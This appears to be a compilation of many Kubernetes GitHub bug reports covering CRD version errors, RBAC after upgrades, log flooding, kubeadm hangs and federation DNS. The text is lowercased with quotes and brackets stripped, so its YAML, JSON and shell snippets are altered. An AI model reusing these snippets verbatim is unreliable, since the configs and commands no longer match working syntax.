steps\r                   type: object\r                 values:\r                   type: object\r               required:\r               - clusterrequirements\r               - strategy\r               - values\r               type: object\r           required:\r           - template\r           type: object\r   version: v1alpha1\r   versions:\r   - name: v1alpha1\r     served: true\r     storage: true\r   - name: v1\r     served: true\r     storage: false\r    \r \r now, if you create an application like this:\r \r    \r   apiversion: shipper.booking.com/v1alpha1\r   kind: application\r   metadata:\r     name: super-server\r   spec:\r     revisionhistorylimit: 3\r     template:\r       chart:\r         name: nginx\r         repourl: https://storage.googleapis.com/shipper-demo\r         version: 0.0.1\r       clusterrequirements:\r         regions:\r         - name: local\r       strategy:\r         steps:\r         - capacity:\r             contender: 1\r             incumbent: 100\r           name: staging\r           traffic:\r             contender: 0\r             incumbent: 100\r         - capacity:\r             contender: 100\r             incumbent: 0\r           name: full on\r           traffic:\r             contender: 100\r             incumbent: 0\r       values:\r         replicacount: 3\r    \r \r now, if you restart the server and try to edit this application with  kubectl edit app super-server   noting that the file you're editing has the version as  v1  and not  v1alpha1  , you will get an error like this:\r \r    \r internal error occurred: no kind \ application\  is registered for version \ shipper.booking.com/v1\  in scheme \ k8s.io/apiextensions-apiserver/pkg/apiserver/apiserver.go:52\ \r    \r \r now, if you do the same edit, but change the version to  v1alpha1  by hand, all subsequent patches to this object will work without a problem, until the next restart.\r \r the restart is very important: this problem is 100% reproducable after a restart. we have observed it happening in production as well, but the way to reproduce it without waiting for it to happen is to restart  kube-apiserver  and edit the application with  kubectl edit app super-server .\r \r here is what we've found through our testing:\r \r 1. as i said before, this happens 100% after a restart.\r 2. changing the version to  v1alpha1  by hand while editing causes  kubectl  to send a patch to the  v1alpha1  endpoint instead of the  v1  endpoint, and from then on there won't be any problems interacting with this object.\r 3. step number 2 works per object only. in other words, if you do step 2 for  app1  and not  app2 ,  app1  will not have a problem but  app2  will have problems.\r 4. if you add  namespaceselectors  to the validatingwebhookconfiguration and mutatingwebhookconfiguration so that they don't apply to your application objects anymore, it will solve the problem for all the objects in this cluster. this issue will not occur again for an indeterminable amount of time if you remove the  namespaceselectors . in other words, if you remove the  namespaceselectors , we've observed that the issue will happen, but within weeks or days.\r \r note that step 4 will fix the issue for  all  applications, while step 2 will fix it for  only one  application object.\r \r   what you expected to happen  :\r \r sending a patch request to the  v1  endpoint should convert the object to  v1alpha1  and store it as  v1alpha1  instead of throwing an error about the version not defined. also, having a validatingwebhookconfiguration and mutatingwebhookconfiguration shouldn't cause this to happen.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. use microk8s to get the latest kubernetes version.\r 2. download the attached tarball and untar it with  tar -xzf v1alpha1.tar.gz \r 3.  cd  into the directory, and set up your environment by running the following commands:\r     \r        \r     $ kubectl apply -f v.yaml\r     $ kubectl apply -f m.yaml\r     $ kubectl apply -f app-crd.yaml\r        \r     \r 4. run the script called  test-kubernetes-application-bug.sh  which will reproduce the problem for you. basically, you can also create an application object with whatever version you like, restart the server, and edit it with  kubectl  to add a label.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.13.2\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 3.10.0-862.14.4.el7.x86_64\r - install tools: microk8s\r  v1alpha1.tar.gz  https://github.com/kubernetes/kubernetes/files/2832903/v1alpha1.tar.gz \r

last 2 runs of correctness tests and last run of performance tests failed to create a cluster:\r https://testgrid.k8s.io/sig-scalability-gce gce-scale-correctness\r https://testgrid.k8s.io/sig-scalability-gce gce-scale-performance\r \r something regressed ~2 days ago.\r \r @kubernetes/sig-scalability-bugs

what happened  :\r after upgrade a working cluster from 1.13.5 to 1.14.1 using the kubeadm upgrade apply command, kubelet started to spurt the following error messages : \r  kubelet 2635221 : e0513 09:55:54.814239 2635221 reflector.go:126  k8s.io/client-go/informers/factory.go:133: failed to list  v1beta1.runtimeclass: runtimeclasses.node.k8s.io is forbidden: user \ system:node:node\  cannot list resource \ runtimeclasses\  in api group \ node.k8s.io\  at the cluster scope \r  kubelet 2635221 : e0513 09:55:55.537722 2635221 reflector.go:126  k8s.io/client-go/informers/factory.go:133: failed to list  v1beta1.csidriver: csidrivers.storage.k8s.io is forbidden: user \ system:node:node\  cannot list resource \ csidrivers\  in api group \ storage.k8s.io\  at the cluster scope\r  \r \r   what you expected to happen  :\r kubelet should have been able to access the runtimeclasses in node.k8s.io and csidrivers in storage.k8s.io.\r \r   how to reproduce it  as minimally and precisely as possible   :\r we did not try to reproduce the bug. bascaly, create a 1.13.5, with ceph-csi driver and upgrade it to 1.14.1.\r \r   anything else we need to know?  :\r we were able to fix the bug by adding a subject line in the system:nodes clusterrolebindings.\r  apiversion: rbac.authorization.k8s.io/v1 \r  kind: clusterrolebinding \r  metadata: \r    annotations: \r      rbac.authorization.kubernetes.io/autoupdate: \ true\  \r    labels: \r      kubernetes.io/bootstrapping: rbac-defaults \r    name: system:node \r  roleref: \r    apigroup: rbac.authorization.k8s.io \r    kind: clusterrole \r    name: system:node \r  subjects: \r  - apigroup: rbac.authorization.k8s.io \r    kind: group \r    name: system:nodes \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:11:31z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14\ , gitversion:\ v1.14.1\ , gitcommit:\ b7394102d6ef778017f2ca4046abbaa23b88c290\ , gittreestate:\ clean\ , builddate:\ 2019-04-08t17:02:58z\ , goversion:\ go1.12.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r name=fedora\r version=\ 30  thirty \ \r id=fedora\r version_id=30\r version_codename=\ \ \r platform_id=\ platform:f30\ \r pretty_name=\ fedora 30  thirty \ \r ansi_color=\ 0;34\ \r logo=fedora-logo-icon\r cpe_name=\ cpe:/o:fedoraproject:fedora:30\ \r home_url=\ https://fedoraproject.org/\ \r documentation_url=\ https://docs.fedoraproject.org/en-us/fedora/f30/system-administrators-guide/\ \r support_url=\ https://fedoraproject.org/wiki/communicating_and_getting_help\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r redhat_bugzilla_product=\ fedora\ \r redhat_bugzilla_product_version=30\r redhat_support_product=\ fedora\ \r redhat_support_product_version=30\r privacy_policy_url=\ https://fedoraproject.org/wiki/legal:privacypolicy\ \r \r - kernel  e.g.  uname -a  :\r linux core1 5.0.13-300.fc30.x86_64  1 smp mon may 6 00:39:45 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r

what happened  :\r i have a cluster with ~10000 pvs, and my  kube-controller-manager  logs are flooded with\r    \r w0611 06:52:58.770987       1 plugins.go:842  findexpandablepluginbyspec pvname  -> returning noopexpandablevolumeplugininstance\r    \r for every pv, every 2 minutes, so a total of   10000 log lines every 2 minutes  !\r \r   what you expected to happen  :\r logs not to be flooded.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create 10000 pvs, watch  kube-controller-manager  logs get flooded with the message above.\r \r   environment  :\r - kubernetes version  use  kubectl version  :   v1.13.4  \r - cloud provider or hardware configuration:   bare-metal  \r - os  e.g:  cat /etc/os-release  :   ubuntu 18.04.2 lts  \r - kernel  e.g.  uname -a  :   4.19.19-041919-generic  \r - install tools:   kubeadm  \r

ingress controller doesn't seem to support web sockets. for example it's not possible to run  jupyter  https://github.com/jupyter/docker-stacks  behind an ingress controller  it's not possible to edit notebooks, socket error .  i find it weird than the ingress controller cannot do that while a standard nginx server with reverse proxy can do that really well, but they seem to sit at very different position in the system.

the vsphere volume provider looks like it expects to get the datastore from the vsphere cloud.conf but providing a volume path in a persistent volume resource without the datastore fails to mount while including the datastore in the volume path allows the volume to mount properly...  it seems like datastore should be extracted from the volume path or if the intention is to limit the user to certain datastores the persistent volume creation should fail when a datastore is provided in the path that does not match the configured datastore.  consequently when a pvc is made that binds the pv, the mount cannot succeed but kubernetes keeps retrying rather than failing out.

kubernetes version  : 1.3.6    environment  : -   cloud provider or hardware configuration  : aws -   os  : debian jessie  8.5 , ami: k8s-1.3-debian-jessie-amd64-hvm-ebs-2016-06-18 -   kernel  : 3.16.0-4-amd64 -   install tools  : kops  i'm facing similar issue to  27194, but with kubelet  /metrics  endpoint. i use prometheus to scrape that endpoint and seems like   container_cpu_usage_seconds_total  results are not updated properly. container shows about 14% usage, but  kubelet  doesn't update the metric's value at all.  here is the promql i use:       container_cpu_usage_seconds_total{kubernetes_namespace=\ default\ , kubernetes_container_name=\ logstash\ }      and here is the actual   top  snapshot from  the container      top - 12:34:46 up 9 days,  3:50,  0 users,  load average: 1.47, 1.46, 1.72 tasks:   4 total,   1 running,   3 sleeping,   0 stopped,   0 zombie %cpu s :  4.2 us,  0.8 sy,  0.0 ni, 94.8 id,  0.0 wa,  0.0 hi,  0.2 si,  0.1 st kib mem:  33016188 total, 16315132 used, 16701056 free,   591984 buffers kib swap:        0 total,        0 used,        0 free. 10561156 cached mem    pid user      pr  ni    virt    res    shr s  %cpu %mem     time+ command          1 logstash  20   0 7490020 922680  19096 s  13.6  2.8 927:10.96 java         10141 root      20   0   21972   3728   3204 s   0.0  0.0   0:00.00 bash         11432 root      20   0    4336    712    624 s   0.0  0.0   0:00.00 sh           11443 root      20   0   23620   2696   2356 r   0.0  0.0   0:00.00 top

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r -   os    e.g. from /etc/os-release :\r    \r $ cat /etc/os-release \r name=\ ubuntu\ \r version=\ 14.04.5 lts, trusty tahr\ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 14.04.5 lts\ \r version_id=\ 14.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r \r    \r -   kernel    e.g.  uname -a  :\r    \r $ uname -a\r linux kubernetes-minion-group-1rsk 4.4.0-53-generic  74~14.04.1-ubuntu smp fri dec 2 03:43:31 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r    \r \r   what happened  :\r automated gce kubernetes cluster deployment using ubuntu trusty image failed to come up properly and timed out with:\r    \r waiting up to 300 seconds for cluster initialization.\r \r   this will continually check to see if the api for kubernetes is reachable.\r   this may time out if there was some uncaught error during start up.\r \r ....................................................................................................................................................cluster failed to initialize within 300 seconds.\r    \r looking at the logs from a failed node and i see:\r    \r dec 21 20:03:21 kubernetes-minion-group-72n3 kube-env: /proc/self/fd/9: 431: /etc/kube-configure-helper.sh: function: not found\r dec 21 20:03:21 kubernetes-minion-group-72n3 kube-install-packages: /proc/self/fd/9: 431: /etc/kube-configure-helper.sh: function: not found\r dec 21 20:03:21 kubernetes-minion-group-72n3 kubelet: /proc/self/fd/9: 431: /etc/kube-configure-helper.sh: function: not found\r dec 21 20:03:21 kubernetes-minion-group-72n3 kube-install-additional-packages: /proc/self/fd/9: 431: /etc/kube-configure-helper.sh: function: not found\r dec 21 20:03:21 kubernetes-minion-group-72n3 kube-docker: /proc/self/fd/9: 431: /etc/kube-configure-helper.sh: function: not found\r dec 21 20:03:21 kubernetes-minion-group-72n3 kernel:     35.521073  init: kubelet main process ended, respawning\r dec 21 20:03:21 kubernetes-minion-group-72n3 kube-addons: /proc/self/fd/9: 431: /etc/kube-configure-helper.sh: function: not found\r dec 21 20:03:21 kubernetes-minion-group-72n3 kube-proxy: /proc/self/fd/9: 431: /etc/kube-configure-helper.sh: function: not found\r dec 21 20:03:31 kubernetes-minion-group-72n3 kubelet: /proc/self/fd/9: 431: /etc/kube-configure-helper.sh: function: not found\r dec 21 20:03:31 kubernetes-minion-group-72n3 kube-docker: /proc/self/fd/9: 431: /etc/kube-configure-helper.sh: function: not found\r \r    \r \r   what you expected to happen  :\r successful deployment of kubernetes cluster on gce with ubuntu trusty image.\r \r   how to reproduce it    as minimally and precisely as possible :\r    \r $ curl -ss https://get.k8s.io -o kube.sh\r $ export kubernetes_release=v1.5.1\r $ export kubernetes_provider=gce\r $ export kubernetes_skip_create_cluster=true\r $ bash kube.sh\r $ export kube_gce_master_image=ubuntu-1404-trusty-v20161213\r $ export kube_gce_master_project=ubuntu-os-cloud\r $ export kube_gce_node_image=ubuntu-1404-trusty-v20161213\r $ export kube_gce_node_project=ubuntu-os-cloud\r $ export kube_master_os_distribution=trusty\r $ export kube_node_os_distribution=trusty\r $ cd kubernetes\r $ ./cluster/kube-up.sh\r    \r \r \r   anything else we need to know  :\r also, in order to reproduce this you'll need to correct https://github.com/kubernetes/kubernetes/blob/v1.5.1/cluster/gce/trusty/master-helper.sh l25 and https://github.com/kubernetes/kubernetes/blob/v1.5.1/cluster/gce/trusty/node-helper.sh l25 to use the  ${kube_root}  variable. see https://github.com/kubernetes/kubernetes/pull/39129 for more details.\r \r \r

is this a bug report or feature request?  :\r  \r   what happened  :\r there is currently no easy way to know what kubernetes is using as the default cidr for service cluster ips.\r \r   what you expected to happen  :\r  kube-apiserver  should be able to tell users that \ 10.0.0.0/24\  is used as the default. they'd better check if their deployment environment has a conflict with this assumption. they need to customize this parameter to avoid such overlaps if any.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run  kube-apiserver --help , from the help, the default value for --service-cluster-ip-range is not mentioned.\r \r   anything else we need to know?  :\r no.\r \r   environment  :\r - kubernetes version  use  kubectl version  : any\r - cloud provider or hardware configuration  : any\r - os  e.g. from /etc/os-release : any\r - kernel  e.g.  uname -a  : any\r - install tools: n/a\r - others: n/a\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r the  initializers  is now in alpha state and was being used by isito to enable transparent inject  https://github.com/istio/pilot/pull/1104 , it is better to bump the  initializers  admission control plugin to beta to enlarge its adoption. @caesarxuchao \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r \r   what happened  :\r when use kubectl delete one pod pod1 on node, then another pod2 running, pod1 in terminating status. \r \r   what you expected to happen  :\r \r two pods belong to one daemonset should not exist simutaneously.\r   how to reproduce it  as minimally and precisely as possible   :\r \r kubectl delete pod1\r kubectl get pod\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

several alpha fields introduced during the 1.8 dev cycle are not being dropped from incoming requests when the feature gates are disabled.\r \r examples:\r podspec.volumes i .emptydir.sizelimit\r podspec.priority\r podspec.priorityclassname\r node.spec.configsource\r \r this has to be rectified prior to release to avoid compatibility issues with future clients\r \r cc @kubernetes/sig-api-machinery-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r consider this corner case scenario: a device plugin registers with kubelet for resourcea and lists two devices: dev1 and dev2. then a new device plugin implementation is deployed that re-registers resourcea with kubelet but somehow advertises with different device ids, say dev3 and dev4. with the current implementation, we will end up having dev1, dev2, dev3, and dev4 for resourcea incorrectly.\r \r to fix this problem, one possible solution is to pass list of current devices in newendpoint  . for the first registered device plugin, the list will be empty. for the subsequent re-registered plugin, the list will be what reported by its previous device plugin.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r the problem should be able to be reproduced with a unit test.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r \r following the   guide  https://kubernetes.io/docs/tasks/federation/set-up-cluster-federation-kubefed/  to set up federation with kubefed and  another one  https://kubernetes.io/docs/tasks/federation/set-up-coredns-provider-federation/  to set up coredns as dns provider, is not possible to have service discovery based on region and availability zone for the openstack cluster.\r    \r |   clusters   |   provider    |  region      | zone           | fcp | \r |--------------|---------------|--------------|----------------|-----|\r | os-br        |   openstack   | regionone    | nova           |     |\r | gke-us       |   gce         | us-central1  | us-central1-a  |     |\r    \r the deployment and service are correctly spread in the two clusters. \r the  status.loadbalancer.ingress  for the service in the  os-br  cluster has two ips, but it's already fixed by this  pr  https://github.com/kubernetes/kubernetes/pull/52609 .\r    \r $ kubectl get svc -n ns --context gke-us\r name       type           cluster-ip      external-ip       port s \r nodename   loadbalancer   10.11.249.249   104.154.142.100   80:31814/tcp\r $ kubectl get svc -n ns --context os-br\r name       type           cluster-ip     external-ip                 port s  \r nodename   loadbalancer   10.107.93.68   10.11.4.210,150.165.85.10   80:31240/tcp\r    \r for the following scenarios, i ran the busybox pod in the same namespace as my service:\r  kubectl -n ns exec -ti busybox -- sh \r \r   scenario 1: without region and zone.  \r    \r /   nslookup nodename.ns.federation.svc.example.com\r address 1: 104.154.142.100 100.142.154.104.bc.googleusercontent.com\r address 2: 150.165.85.10\r address 3: 10.11.4.210\r    \r \r   scenario 2: with region and zone  \r    \r /   nslookup nodename.ns.federation.svc.us-central1-a.us-central1.example.com\r address 1: 104.154.142.100 100.142.154.104.bc.googleusercontent.com\r \r /   nslookup nodename.ns.federation.svc.nova.regionone.example.com\r nslookup: can't resolve 'nodename.ns.federation.svc.nova.regionone.example.com'\r    \r   scenario 3: only region  \r    \r /   nslookup nodename.ns.federation.svc.us-central1.example.com\r address 1: 104.154.142.100 100.142.154.104.bc.googleusercontent.com\r \r /   nslookup nodename.ns.federation.svc.regionone.example.com\r nslookup: can't resolve 'nodename.ns.federation.svc.regionone.example.com'\r    \r \r   what you expected to happen  :\r for the three scenarios, i don't understand the  100.142.154.104.bc.googleusercontent.com  register in the service hosted in gce.\r i think the  address 1  should have only one register  104.154.142.100  and even if the  100.142.154.104.bc.googleusercontent.com  is a valid registry, it should be added in as a new address.\r \r for scenarios 2 and 3 i expect to have service discovery, based on region and zone, for services hosted in openstack cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r in the openstack cluster:\r  1  https://kubernetes.io/docs/tasks/federation/set-up-coredns-provider-federation/  deploy etcd-operator and coredns\r  2  https://kubernetes.io/docs/tasks/federation/set-up-cluster-federation-kubefed/  set up federation using kubefed\r \r   anything else we need to know?  :\r the etcd-operator seems healthy:\r    \r kubectl run --rm -i --tty fun --image quay.io/coreos/etcd --restart=never -- /bin/sh\r /   etcdctl_api=3 etcdctl --endpoints http://etcd-cluster-client.default:2379 put foo bar\r ok\r /   etcdctl_api=3 etcdctl --endpoints http://etcd-cluster-client.default:2379 get foo\r foo\r bar\r /   etcdctl_api=3 etcdctl --endpoints http://etcd-cluster-client.default:2379 del foo\r 1\r    \r \r initially, i thought the problem might be if the coredns version, so i tried with newest versions, but i got the same result. my current coredns chart config:\r    \r replicacount: 3\r image:\r   repository: coredns/coredns\r   tag: \ 011\ \r   pullpolicy: ifnotpresent\r isclusterservice: false\r servicetype: \ nodeport\ \r middleware:\r   prometheus:\r     enabled: false\r   errors:\r     enabled: true\r     file: \ stdout\ \r   kubernetes:\r     enabled: false\r   etcd:\r     enabled: true\r     zones:\r     - \ example.com.\ \r     endpoint: \ http://etcd-cluster-client.default:2379\ \r    \r \r logs from federation controller manager:  fed-controller-mannager.txt  https://github.com/kubernetes/kubernetes/files/1454774/fed-controller-mannager.txt \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version --context os-br\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:38:10z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r $ kubectl version --context gke-us\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.1-gke.1\ , gitcommit:\ aba494e68a76583d2d7d1b9c97e4a97a19c3a920\ , gittreestate:\ clean\ , builddate:\ 2017-10-27t23:54:39z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r cc @shashidharatd \r  

 \r \r   what happened  :\r kubeadm hangs at:  init  this might take a minute or longer if the control plane images have to be pulled.\r \r full:\r    \r  root@rockserver2 ~   kubeadm init\r  init  using kubernetes version: v1.9.3\r  init  using authorization modes:  node rbac \r  preflight  running pre-flight checks.\r          warning service-kubelet : kubelet service is not enabled, please run 'systemctl enable kubelet.service'\r          warning fileexisting-crictl : crictl not found in system path\r  preflight  starting the kubelet service\r  certificates  generated ca certificate and key.\r  certificates  generated apiserver certificate and key.\r  certificates  apiserver serving cert is signed for dns names  rockserver2.lan kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cl\r  certificates  generated apiserver-kubelet-client certificate and key.\r  certificates  generated sa key and public key.\r  certificates  generated front-proxy-ca certificate and key.\r  certificates  generated front-proxy-client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  kubeconfig  wrote kubeconfig file to disk: \ admin.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ kubelet.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ controller-manager.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ scheduler.conf\ \r  controlplane  wrote static pod manifest for component kube-apiserver to \ /etc/kubernetes/manifests/kube-apiserver.yaml\ \r  controlplane  wrote static pod manifest for component kube-controller-manager to \ /etc/kubernetes/manifests/kube-controller-manager.yaml\ \r  controlplane  wrote static pod manifest for component kube-scheduler to \ /etc/kubernetes/manifests/kube-scheduler.yaml\ \r  etcd  wrote static pod manifest for a local etcd instance to \ /etc/kubernetes/manifests/etcd.yaml\ \r  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ .\r  init  this might take a minute or longer if the control plane images have to be pulled.\r    \r \r   what you expected to happen  :\r i expected it to finish or provide me some sort of useful error output i could do something with.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. install centos 7.4\r 2. run: yum install -y kubeadm kubelet kubectl\r 3. run: kubeadm init\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r  root@rockserver2 ~   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : 7.4\r - kernel  e.g.  uname -a  : 3.10.0-693.17.1.el7.x86_64\r - install tools:\r - others:\r i'm running on virtualbox for testing\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug\r \r   /assign @jcbsmpsn\r \r   what happened  : enabling alpha feature causes e2e-node test to fail\r \r in kubernetes/test-infra 7030 i created an e2e-node test for alpha features, but i had to blacklist rotatekubeletservercertificate because it causes the entire test to fail. please fix the test and remove the blacklist for rotatekubeletservercertificate.\r \r   what you expected to happen  : checked-in code should pass the e2e-node test\r \r   how to reproduce it  as minimally and precisely as possible   : \r \r    \r make test-e2e-node remote=true delete_instances=true test_args=\ --feature-gates=rotatekubeletservercertificate=true --kubelet-flags='--cgroups-per-qos=true --cgroup-root=/'\  skip=\ \\\\ flaky\\\\ |\\\\ serial\\\\ \ \r    \r \r   anything else we need to know?  :\r the test fails locally as well, run without  remote=true  to reproduce locally.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   \r \r   what happened  :\r  kubeproxyconfiguration  lacks of  healthzport  to disable health check server. the issue is relevant to  65118.\r \r   what you expected to happen  :\r add  healthzport  to  kubeproxyconfiguration .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r  \r \r   what happened  : we have a single, large issue template.\r \r   what you expected to happen  : we should leverage individual templates to make it easier to file bugs and deal with less uncommenting of slash commands etc. here's what the ui looks like in kubernetes/org:\r \r ! image  https://user-images.githubusercontent.com/917931/45391253-20577a00-b5d7-11e8-8383-956b2d63932e.png \r \r \r   how to reproduce it  as minimally and precisely as possible   : n/a\r \r \r   anything else we need to know?  : i brought this up in contribex and the response seems very positive. i think this will really help new contributors file better issues more easily. eg this bug does not need the rest of the template contents below ...\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r \r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r docker failed to create container on windows nodes with error message\r    \r failed to unmarshall layerchain json - invalid character '\\\\x00' looking for beginning of value\ \r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r not sure. this happened quite frequently in e2e tests.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.14\r - cloud provider or hardware configuration: gce\r - os  e.g:  cat /etc/os-release  : windows 1809\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r \r \r search result suggested that the file may be corrupted. once a node ran into this issue for a certain image, it'd no longer be able to create containers using that image.\r \r \r on the same node, i've found error messages  from windows even log  below:\r    \r an error was detected on device \\device\\harddisk4\\dr125 during a paging operation.\r disk 4 has the same disk identifiers as one or more disks connected to the system. go to microsoft's support website  http://support.microsoft.com  and search for kb2983588 to resolve the issue.\r the disk signature of disk 4 is equal to the disk 